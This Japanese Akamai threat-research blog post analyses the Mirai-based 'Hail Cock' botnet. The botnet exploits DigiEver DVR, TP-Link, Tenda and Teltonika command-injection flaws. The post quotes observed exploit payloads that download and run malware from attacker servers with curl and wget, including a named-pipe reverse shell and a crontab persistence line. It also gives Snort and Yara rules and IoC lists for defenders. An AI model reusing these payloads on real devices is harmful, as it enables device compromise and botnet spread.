クラウドコンピューティングが必要ですか? 今すぐ始める

IoT 向けの DigiEver に関する問題とその対処

Akamai Wave Blue

執筆者

Kyle Lefton, Daniel Messing, and Larry Cashdollar

December 19, 2024

Akamai blue wave

執筆者

Kyle Lefton

Kyle Lefton は、Akamai の Security Intelligence Response Team のセキュリティ・リサーチ・インターンです。以前は国防総省の情報アナリストとして、サイバー防衛、脅威リサーチ、防諜の分野で数年にわたって体験を積んできました。新たな脅威のリサーチ、脆弱性の研究、脅威グループのマッピングに誇りをもって取り組んでいます。友人や家族と過ごす時間、戦略ゲーム、アウトドアでのハイキングが、オフの時間の楽しみです。

Daniel Messing

執筆者

Daniel Messing

Daniel Messing は、公共部門と民間部門で 10 年以上脅威インテリジェンスの経験を積んだスペシャリストです。Akamai の Security Intelligence Response Team の Senior Security Researcher として、Akamai とその他の組織におけるグローバルな脅威インテリジェンスプログラムの構築、強化、拡張に尽力してきました。仕事以外では、読書やスポーツを趣味としています。

Larry Cashdollar

執筆者

Larry Cashdollar

Larry W. Cashdollar は、20 年以上にわたり脆弱性リサーチャーとしてセキュリティ分野に携わり、現在は Akamai の Security Intelligence Response Team の Principal Security Researcher を務めています。University of Southern Maine でコンピューターサイエンスを学びました。これまでに 300 件以上の CVE を文書化し、BotConf、BSidesBoston、OWASP Rhode Island、DEF CON で調査発表を行っています。余暇にはアウトドア活動や小型エンジンの修理を楽しんでいます。

Akamai が特定したマルウェアサンプルは、さまざまなアーキテクチャを対象とした Mirai ベースのマルウェアの変種です。
Akamai が特定したマルウェアサンプルは、さまざまなアーキテクチャを対象とした Mirai ベースのマルウェアの変種です。

エグゼクティブサマリー

  • DigiEver DS-2105 Pro DVR の脆弱性が悪用され、マルウェアが拡散しています。

  • Akamai Security Intelligence Research Team(SIRT)は 2024 年 11 月 18 日に、ハニーポットにこの動きがあることを察知しました。

  • この脆弱性は、最初に Ta-Lun Yen 氏によって発見され、CVE ID が Akamai SIRT によって要求されています。

  • このマルウェアは、より強度の高い暗号化アルゴリズムを使用するように変更された Mirai の変種です。 

  • このブログ記事には、この脅威に対する防御を支援するための脅威の痕跡情報(IoC)のリストが掲載されています。

コンテンツに関する警告:このマルウェアを作った脅威アクターは、一部の人にとって攻撃的と受け取られかねないコンテンツのネーミングを使用しています。このキャンペーンは現在、野放し状態で実行されているため、検知率を高めるためにそのファイル名を編集しませんでした。

はじまりと発見

2024 年 11 月中旬に、 Akamai SIRT は、ハニーポットのグローバルネットワークで URI/cgi-bin/cgi_main.cgi を標的にしたアクティビティの増加を発見しました。このアクティビティは、その始まりが少なくとも 2024 年 10 月にまで遡り、最近まで継続している Mirai ベースのマルウェアキャンペーンの一部と考えられます。

この脆弱性には現時点では CVE 割り当てがありませんが、TXOne Research の Ta-Lun Yen 氏により最初に発見および 公開 されたと見られています。その公開情報で、同氏はこのリモートコード実行(RCE)の脆弱性は、DigiEver DS-2105 Pro モデルを含む複数の DVR デバイスに起因しているとしています。当社のアナリストは、当社が観察した悪用の試みが、この脆弱性調査の公開情報と一致するものと判断しました。

このキャンペーンをさらに調査したところ、少なくとも 2024 年 9 月から活動している「Hail Cock Botnet」と呼ばれる新しいボットネットの存在が明らかになりました。ChaCha20 と XOR の復号化アルゴリズムを組み込んだ Mirai マルウェア の変種を使用して、DigiEver DVR や TP-Link デバイスなどの脆弱な「野良」Internet of Things(モノのインターネット、IoT)デバイスが CVE-2023-1389 により悪用される可能性があります

脆弱性

DigiEver DVR の脆弱性は、侵入テスト中に露出した IP アドレス範囲を調べた後、TXOne のリサーチャーによって発見されました。Shodan の照会機能を通じて、多くの IP アドレスが、過去最大級に脆弱なデバイス(DVR など)となっている事実を特定することができました。同氏は DigiEver DVR ファームウェアをエミュレートすることができ、/cgi-bin/cgi_main.cgi が CGI エンドポイントの 1 つであることに気づきました(図 1)。

同氏は DigiEver DVR ファームウェアをエミュレートすることができ、/cgi-bin/cgi_main.cgi が CGI エンドポイントの 1 つであることに気づきました(図 1)。 図 1:脆弱性が疑われるエンドポイント

このエンドポイントを通じて、リサーチャーは RCE を達成できました(図 2)。 

このエンドポイントを通じて、リサーチャーは RCE を達成できました(図 2)。 図 2:リサーチャーにより確認された RCE

悪用の活発化

Akamai SIRT は、この URI が 2024 年 11 月 18 日に未知の脅威アクターの標的になり始めたことに気づきました。当社は、ハニーポットで観察したペイロードの構文が、研究論文の概念実証(PoC)と一致することを証明しました(図 3)。

  cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&ntp1=time.stdtime.gov.tw&ntp2=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30

図 3:DigiEver RCE の脆弱性を標的にしたペイロード(URL デコード)

この脆弱性により、ntp パラメーターの引数としてコマンドインジェクションの実行が可能になると考えられます。この例では、Mirai ベースのマルウェアをダウンロードするためにリモート・マルウェアホスティング・サーバーにアクセスしています。これらのセッションは、HTTP Referer ヘッダーは「**IP Address**:80/cfg_system_time.htm」となっており、ポート 80 経由で HTTP POST 要求として送信されてきます。 

DigiEver RCE の悪用に加えて、この ボットネット が CVE-2023-1389 などの 他の脆弱性を標的とし、TP-Link デバイスに影響を与えていることも確認しています(図 4)。

  GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://45.202.35[.]24/l+-O-|+sh`) HTTP/1.1
  Host: localhost:80
  User-Agent: Go-http-client/1.1

図 4:CVE-2023-1389 を標的にしたペイロード

ボットネットは、TP-Link Web 管理インターフェース上の /cgi-bin/luci;stok=/locale エンドポイントに存在するこのコマンドインジェクションの脆弱性を悪用して、悪性のシェルスクリプトをダウンロードして実行します。次に、このスクリプトは Mirai マルウェアペイロードをダウンロードし、標的のシステムで実行します(図 5)。

次に、このスクリプトは Mirai マルウェアペイロードをダウンロードし、標的のシステムで実行します(図 5)。 図 5:CVE-2023-1389 について上記の要求からダウンロードした「l」スクリプトの内容(出典:https://ducklingstudio.blog.fc2.com/blog-entry-394.html)

このボットネットは、Tenda HG6 v3.3.0 リモート・コマンド・インジェクションの脆弱性も標的にしています(図 6)。 

  /boaform/admin/formTracert target_addr=;`rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|wget+http://45.202.35[.]24/b+-O-|+sh+>/tmp/f`&waninf=1_INTERNET_R_VID_

図 6:Tenda HG6 を標的にしたペイロード

これらの脆弱性に加えて、このボットネットは、 CVE-2018-17532などの他の脆弱性を標的にし、Teltonika RUT9XX ルーターに影響を与えていることを観察しました。この脆弱性が悪用されると、wget 要求を介してシェルスクリプトがダウンロードされて実行され、ターゲットマシンにマルウェアをダウンロードして実行するよう追加で要求されます(図 7)。

この脆弱性が悪用されると、wget 要求を介してシェルスクリプトがダウンロードされて実行され、ターゲットマシンにマルウェアをダウンロードして実行するよう追加で要求されます(図 7)。 図 7:「b.sh」シェルスクリプトの内容

マルウェア

Akamai が特定したマルウェアサンプルは、x86、ARM、MIPS などのさまざまなアーキテクチャを対象とした Mirai ベースのマルウェアの変種です。これらのサンプルに関して特に興味深いのは、復号化アルゴリズムに XOR と ChaCha20 の両方を使用したことです。

動的解析セクションに表示される文字列の一部(たとえば、「you are now apart of hail cock botnet(あなたは hail cock ボットネットから離れました)」のコンソールへの出力など)は、マルウェアの人間が読める文字列セクションや XOR デコードされた文字列には表示されませんでした。

当社は、日本の 独立系セキュリティリサーチャー が、このマルウェアに関する興味深い調査結果を発表したことを発見しました。彼は、マルウェアがこの文字列を復号化し、文字列をバイナリーのデータセグメントに格納しながら、それをコンソールに表示していることを発見しました(図 8)。

彼は、マルウェアがこの文字列を復号化し、文字列をバイナリーのデータセグメントに格納しながら、それをコンソールに表示していることを発見しました(図 8)。 図 8:メッセージの復号化

文字列がその出力に割り当てられている場所を確認すると、文字列の復号化関数(FUN_00408500)と文字列の場所(​​DAT_005166a0)が引数として存在しています。初期化後、次の関数を使用して 2 番目の引数からの暗号化された文字列を処理し、それをメモリーに格納します(図 9)。

初期化後、次の関数を使用して 2 番目の引数からの暗号化された文字列を処理し、それをメモリーに格納します(図 9)。 図 9:データ復号化セクション

関数「FUN_00404960」を調べると、リサーチャーはその最終ステップに XOR 演算が含まれていることを発見しました。定数が利用されて ASCII コードに変換されるセクションでは、関数は文字列「expand 32-byte k」を返します。この文字列は Salsa20 や ChaCha20 などの暗号化アルゴリズムで知られている定数であり、「FUN_00404960」というラベルの付いた関数が復号化を処理していることを示しています(図 10)。

「FUN_00404960」は復号化を処理しています(図 10) 図 10:Salsa20 と ChaCha20 による復号化

複雑な復号化方法を採用することは目新しいことではありませんが、Mirai ベースのボットネットオペレーターの手口、技法、手順が進化していることを示唆しています。これが主に注目されるのは、Mirai ベースのボットネットの多くが、元の Mirai マルウェア・ソースコード・リリースに含まれていた再利用されたコードからの元の文字列難読化ロジックに依存しているためです。

静的文字列分析から、マルウェアは多くのデフォルトまたは共通の認証情報をさまざまなデバイスに使用して、ボットネットをその他のホストに拡散します。多数の認証情報ペアが、Mirai に付属していた元の認証情報ペアに追加されました。たとえば、「telecomadmin」という文字列がその一例であり、これは、Huawei ONT HG8245H5 ファイバー終端キットのデフォルトのユーザー名で、Realtek チップセットを使用している一部のルーターのデフォルトパスワードです。

サンドボックスの詳細

動的なサンドボックス環境でマルウェアサンプルを実行することで、マルウェアから追加の IoC と注目すべき文字列を特定できました。当社が確認したこのようなふるまいの 1 つに、永続性を維持するために、ドメイン「hailcocks[.]ru」からシェルスクリプトをダウンロードして実行する cron ジョブの作成がありました(図 11)。攻撃対象のホストにいずれのファイルもインストールされていない場合、curl または wget(あるいはその両方)を使用して同じサーバーから「wget.sh」ファイルをダウンロードし互換性を確保しようとします。

  sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks[.]ru/wget.sh; curl --output wget.sh http://hailcocks[.]ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"

図 11:crontab による永続性

実行時に、マルウェアは一貫して一般的な Mirai Telnet や SSH ブルートフォース のふるまいを続け、より多くの種類のホストに接続しました。また、個別の単一の IP アドレスに接続して、コマンドおよびコントロール(C2)通信用のドメイン「kingstonwikkerink[.]dyn」への A レコードを解決しています。

さらに、このマルウェアに感染したホストでは、マルウェアの実行時にコンソールに固有の文字列が出力されます。旧バージョンのマルウェアでは、「you are now apart of hail cock botnet(あなたは hail cock ボットネットから離れました)」という文字列が出力されます(図 12)。新しいバージョンのマルウェアでは、代わりに文字列「I just wanna look after my cats(私は猫の世話がしたいだけですよ)」が出力されます(図 13)。

旧バージョンのマルウェアでは、「you are now apart of hail cock botnet(あなたは hail cock ボットネットから離れました)」という文字列が出力されます(図 12)。 図 12:古いマルウェアコンソールの出力メッセージ
新しいバージョンのマルウェアでは、代わりに文字列「I just wanna look after my cats(私は猫の世話がしたいだけですよ)」が出力されます(図 13)。 図 13:新しいマルウェアコンソールの出力メッセージ

結論

サイバー犯罪者は、Mirai マルウェアの伝統を一貫して活用し続けて、数年にわたりボットネットキャンペーンを続けてきました。新たな Hail Cock ボットネットも例外ではありません。脅威アクターが新しいホストを侵害する最も簡単な方法の 1 つは、古くなったファームウェアまたは使われなくなったハードウェアを標的にすることです。約 10 年前に発売された DigiEver DS-2105 Pro がその一例です。ハードウェアの製造元は、使われなくなったデバイスのパッチを常にリリースしているわけではありませんし、製造元そのものが存在しない場合もあります。したがって、セキュリティパッチが入手できず、入手できそうもない状況では、脆弱なデバイスを新しいモデルにアップグレードすることをお勧めします。

IoC

防御を支援するために、IoC のリスト、Snort ルールと Yara ルールを追加しました。

ネットワーク IoC 用の Snort ルール

C2 IP 用の Snort ルール

  alert tcp $HOME_NET any -> 154.216.17.126 any (msg:"C2 Comms for Hail Cock Botnet to  154.216.17.126"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 154.213.187.50 any (msg:"C2 Comms for Hail Cock Botnet to  154.213.187.50"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 86.107.100.80 any (msg:"C2 Comms for Hail Cock Botnet to  86.107.100.80"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 213.182.204.57 any (msg:"C2 Comms for Hail Cock Botnet to  213.182.204.57"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 195.133.92.51 any (msg:"C2 Comms for Hail Cock Botnet to  195.133.92.51"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 185.82.200.181 any (msg:"C2 Comms for Hail Cock Botnet to  185.82.200.181"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 81.29.149.178 any (msg:"C2 Comms for Hail Cock Botnet to  81.29.149.178"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 88.151.195.22 any (msg:"C2 Comms for Hail Cock Botnet to  88.151.195.22"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 91.149.218.232 any (msg:"C2 Comms for Hail Cock Botnet to  91.149.218.232"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 91.149.238.18 any (msg:"C2 Comms for Hail Cock Botnet to  91.149.238.18"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 31.13.248.89 any (msg:"C2 Comms for Hail Cock Botnet to  31.13.248.89"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 193.233.193.45 any (msg:"C2 Comms for Hail Cock Botnet to  193.233.193.45"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 194.87.198.29 any (msg:"C2 Comms for Hail Cock Botnet to  194.87.198.29"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 45.202.35.91 any (msg:"C2 Comms for Hail Cock Botnet to  45.202.35.91"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 104.37.188.76 any (msg:"C2 Comms for Hail Cock Botnet to  104.37.188.76"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 95.214.53.205 any (msg:"C2 Comms for Hail Cock Botnet to  95.214.53.205"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 5.35.104.31 any (msg:"C2 Comms for Hail Cock Botnet to  5.35.104.31"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 149.50.106.25 any (msg:"C2 Comms for Hail Cock Botnet to  149.50.106.25"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 141.98.11.79 any (msg:"C2 Comms for Hail Cock Botnet to  141.98.11.79"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 45.202.35.24 any (msg:"C2 Comms for Hail Cock Botnet to  45.202.35.24"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 5.39.254.71 any (msg:"C2 Comms for Hail Cock Botnet to  5.39.254.71"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 45.126.50.101 any (msg:"C2 Comms for Hail Cock Botnet to  45.126.50.101"; flow:to_server,established;)

C2 ドメイン解決検知用の Snort ルール

  alert tcp $HOME_NET any -> hailcocks.ru any (msg:"BLOCK Connection to malicious domain - hailcocks.ru"; flow:to_server,established; sid:1000010; rev:1;)
  alert tcp $HOME_NET any -> kingstonwikkerink.dyn any (msg:"BLOCK Connection to malicious domain - kingstonwikkerink.dyn"; flow:to_server,established; sid:1000011; rev:1;)
  alert tcp $HOME_NET any -> catvision.dyn any (msg:"BLOCK Connection to malicious domain - catvision.dyn"; flow:to_server,established; sid:1000012; rev:1;)
  alert tcp $HOME_NET any -> hikvision.geek any (msg:"BLOCK Connection to malicious domain - hikvision.geek"; flow:to_server,established; sid:1000013; rev:1;)
  alert tcp $HOME_NET any -> shitrocket.dyn any (msg:"BLOCK Connection to malicious domain - shitrocket.dyn"; flow:to_server,established; sid:1000014; rev:1;)
  alert tcp $HOME_NET any -> catlovingfools.geek any (msg:"BLOCK Connection to malicious domain - catlovingfools.geek"; flow:to_server,established; sid:1000015; rev:1;)

マルウェアサンプル用の Yara ルール

  rule hailcock_malware

{
  strings:
    $someoffdeeznuts = "someoffdeeznuts"
    $ip_address = { 154.213.187.50 }

  condition:
    any of them
}

rule malware_hashes

{
  strings:
    $hash_1 = "3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615"
    $hash_2 = "0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad"
    $hash_3 = "b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af"
    $hash_4 = "dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02"
    $hash_5 = "a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41"

  condition:
    any of them
}


rule malicious_domains

{
 strings: 
    $hailcocks = "hailcocks.ru"
    $kingstonwikkerink = "kingstonwikkerink.dyn"
    $catvision = "catvision.dyn"
    $catloving = "catlovingfools.geek"
    $hikvision = "hikvision.dyn"
    $shitrocket = "shitrocket.dyn"

 condition:
   any of them

}

過去のインフラの IPv4 アドレス

154.216.17.126
154.213.187.50
86.107.100.80
213.182.204.57
195.133.92.51
185.82.200.181
81.29.149.178
88.151.195.22
91.149.218.232
91.149.238.18
31.13.248.89
193.233.193.45
194.87.198.29
45.202.35.91
104.37.188.76
95.214.53.205
5.35.104.31
149.50.106.25
141.98.11.79
45.202.35.24
5.39.254.71
45.125.66.90
91.132.50.181

C2 のドメインおよびマルウェア配布エンドポイント 

hailcocks[.]ru
kingstonwikkerink[.]dyn
catvision[.]dyn
shitrocket[.]dyn
catlovingfools[.]geek
hikvision[.]geek

SHA256 ハッシュ

3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad
b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af
dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02
a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41
31813bb69e10b636c785358ca09d7f91979454dc6fc001f750bf03ad8bde8fe5


Akamai Wave Blue

執筆者

Kyle Lefton, Daniel Messing, and Larry Cashdollar

December 19, 2024

Akamai blue wave

執筆者

Kyle Lefton

Kyle Lefton は、Akamai の Security Intelligence Response Team のセキュリティ・リサーチ・インターンです。以前は国防総省の情報アナリストとして、サイバー防衛、脅威リサーチ、防諜の分野で数年にわたって体験を積んできました。新たな脅威のリサーチ、脆弱性の研究、脅威グループのマッピングに誇りをもって取り組んでいます。友人や家族と過ごす時間、戦略ゲーム、アウトドアでのハイキングが、オフの時間の楽しみです。

Daniel Messing

執筆者

Daniel Messing

Daniel Messing は、公共部門と民間部門で 10 年以上脅威インテリジェンスの経験を積んだスペシャリストです。Akamai の Security Intelligence Response Team の Senior Security Researcher として、Akamai とその他の組織におけるグローバルな脅威インテリジェンスプログラムの構築、強化、拡張に尽力してきました。仕事以外では、読書やスポーツを趣味としています。

Larry Cashdollar

執筆者

Larry Cashdollar

Larry W. Cashdollar は、20 年以上にわたり脆弱性リサーチャーとしてセキュリティ分野に携わり、現在は Akamai の Security Intelligence Response Team の Principal Security Researcher を務めています。University of Southern Maine でコンピューターサイエンスを学びました。これまでに 300 件以上の CVE を文書化し、BotConf、BSidesBoston、OWASP Rhode Island、DEF CON で調査発表を行っています。余暇にはアウトドア活動や小型エンジンの修理を楽しんでいます。